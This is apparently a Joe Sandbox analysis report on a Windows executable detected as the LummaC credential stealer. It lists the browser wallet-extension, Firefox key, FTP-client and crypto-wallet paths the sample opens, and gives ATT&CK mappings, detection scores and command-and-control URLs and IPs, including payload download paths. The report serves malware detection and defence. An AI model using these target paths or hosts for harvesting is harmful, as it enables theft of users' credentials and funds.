Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171438141.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2171392707.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4024, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/H	0%	Avira URL Cloud	safe
https://frogs-severz.sbs/apiue	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/apil	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/apit	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/apin	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/apib	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/Z	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/pj	100%	Avira URL Cloud	malware
https://frogs-severz.sbs/r	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
frogs-severz.sbs	172.67.155.47	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
property-imper.sbs	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://frogs-severz.sbs/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_127.5.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_127.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://frogs-severz.sbs/Z	file.exe, 00000000.00000003.2195411643.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_127.5.dr	false		high
http://185.215.113.16/H	file.exe, 00000000.00000003.2337396667.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_127.5.dr	false		high
https://frogs-severz.sbs/apil	file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://frogs-severz.sbs/apin	file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256457798.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195354437.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_127.5.dr	false		high
https://frogs-severz.sbs/apit	file.exe, 00000000.00000003.2337090373.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256457798.0000000000EDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_127.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://github.com/gewarren	chromecache_127.5.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9	file.exe, 00000000.00000003.2168339720.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apib	file.exe, 00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171392707.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171720379.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2171745460.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_127.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_127.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_127.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/certhelp	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/pj	file.exe, 00000000.00000003.2213489414.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256531424.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_127.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_106.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2143969819.0000000005805000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_127.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_127.5.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.2337396667.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_127.5.dr	false		high
https://frogs-severz.sbs/	file.exe, 00000000.00000003.2256038430.0000000000EDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2256326561.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/apiue	file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://frogs-severz.sbs/r	file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_119.5.dr, chromecache_106.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2142836258.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2144255083.0000000000EEC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://frogs-severz.sbs/z	file.exe, 00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/js-cookie/js-cookie	chromecache_119.5.dr, chromecache_106.5.dr	false		high
http://schema.org/Organization	chromecache_127.5.dr	false		high
https://channel9.msdn.com/	chromecache_119.5.dr, chromecache_106.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2097917678.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097845164.0000000005716000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2097786366.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_119.5.dr, chromecache_106.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.155.47	frogs-severz.sbs	United States	13335	CLOUDFLARENETUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.8
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562253
Start date and time:	2024-11-25 12:06:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@10/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.19.227, 23.218.210.69, 172.217.17.46, 74.125.205.84, 2.20.41.214, 34.104.35.123, 51.104.15.253, 172.217.19.202, 172.217.21.42, 172.217.19.234, 172.217.19.170, 216.58.208.234, 172.217.17.74, 172.217.17.42, 142.250.181.138, 142.250.181.74, 23.32.239.25, 23.32.239.82, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, onedscolprduks04.uksouth.cloudapp.azure.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, wcpstatic.microsoft.com
Execution Graph export aborted for target file.exe, PID 4024 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:06:56	API Interceptor	54x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is consistent with Microsoft's branding for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.155.47	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse
13.107.246.63	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	P0-4856383648383364838364836483.xls	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
